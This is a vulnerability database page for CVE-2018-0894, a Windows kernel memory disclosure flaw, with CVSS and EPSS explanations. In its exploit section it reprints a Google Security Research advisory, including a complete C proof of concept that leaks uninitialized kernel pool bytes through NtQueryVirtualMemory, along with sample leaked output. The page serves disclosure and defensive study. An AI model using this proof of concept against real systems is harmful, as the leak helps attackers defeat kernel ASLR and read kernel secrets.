CVE-2018-0894 : Detail

CVE-2018-0894

4.7
/
Medium
Overflow
16.24%V3
Local
2018-03-14
17h00 +00:00
2024-09-16
17h09 +00:00
CVE.org
NVD
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CVE Descriptions

The Windows kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1 and RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and 1709, Windows Server 2016 and Windows Server, version 1709 allows an information disclosure vulnerability due to the way memory addresses are handled, aka "Windows Kernel Information Disclosure Vulnerability". This CVE is unique from CVE-2018-0811, CVE-2018-0813, CVE-2018-0814, CVE-2018-0895, CVE-2018-0896, CVE-2018-0897, CVE-2018-0898, CVE-2018-0899, CVE-2018-0900, CVE-2018-0901 and CVE-2018-0926.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.
CWE-824 Access of Uninitialized Pointer
The product accesses or uses a pointer that has not been initialized.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44308

Publication date : 2018-03-19 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* We have discovered that the nt!NtQueryVirtualMemory system call invoked with the 2 information class (MemoryMappedFilenameInformation) discloses portions of uninitialized kernel pool memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10. The output buffer for this information class is a UNICODE_STRING structure followed by the actual filename string. The output data is copied back to user-mode memory under the following stack trace (on Windows 7 64-bit): --- cut --- kd> k # Child-SP RetAddr Call Site 00 fffff880`03cfd8c8 fffff800`02970229 nt!memcpy+0x3 01 fffff880`03cfd8d0 fffff800`02970752 nt!IopQueryNameInternal+0x289 02 fffff880`03cfd970 fffff800`02967bb4 nt!IopQueryName+0x26 03 fffff880`03cfd9c0 fffff800`0296a80d nt!ObpQueryNameString+0xb0 04 fffff880`03cfdac0 fffff800`0268d093 nt!NtQueryVirtualMemory+0x5fb 05 fffff880`03cfdbb0 00000000`772abf6a nt!KiSystemServiceCopyEnd+0x13 --- cut --- The UNICODE_STRING structure is defined as follows: --- cut --- typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; --- cut --- On 64-bit builds, there is a 4-byte padding between the "MaximumLength" and "Buffer" fields inserted by the compiler, in order to align the "Buffer" pointer to 8 bytes. This padding is left uninitialized in the code and is copied in this form to user-mode clients, passing over left-over data from the kernel pool. The issue can be reproduced by running the attached proof-of-concept program on a 64-bit system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at offsets 4-7 are equal to the markers inserted by Special Pools, and would otherwise contain junk data that was previously stored in that memory region: --- cut --- 00000000: 6c 00 6e 00[37 37 37 37]f0 f6 af 87 dd 00 00 00 l.n.7777........ --- cut --- 00000000: 6c 00 6e 00[59 59 59 59]e0 f6 b3 0f c8 00 00 00 l.n.YYYY........ --- cut --- 00000000: 6c 00 6e 00[7b 7b 7b 7b]40 f1 af 16 18 00 00 00 l.n.{{{{@....... --- cut --- 00000000: 6c 00 6e 00[a3 a3 a3 a3]80 f0 90 aa 33 00 00 00 l.n.........3... --- cut -- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> typedef enum _MEMORY_INFORMATION_CLASS { MemoryMappedFilenameInformation = 2 } MEMORY_INFORMATION_CLASS; extern "C" NTSTATUS NTAPI NtQueryVirtualMemory( _In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, _Out_ PVOID MemoryInformation, _In_ SIZE_T MemoryInformationLength, _Out_opt_ PSIZE_T ReturnLength ); VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { SIZE_T ReturnLength; BYTE OutputBuffer[1024]; NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(), &main, MemoryMappedFilenameInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryVirtualMemory failed, %x\n", st); ExitProcess(1); } PrintHex(OutputBuffer, sizeof(UNICODE_STRING)); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server >> Version 1709

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version *

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securitytracker.com/id/1040517
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44308/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/103231
Tags : vdb-entry, x_refsource_BID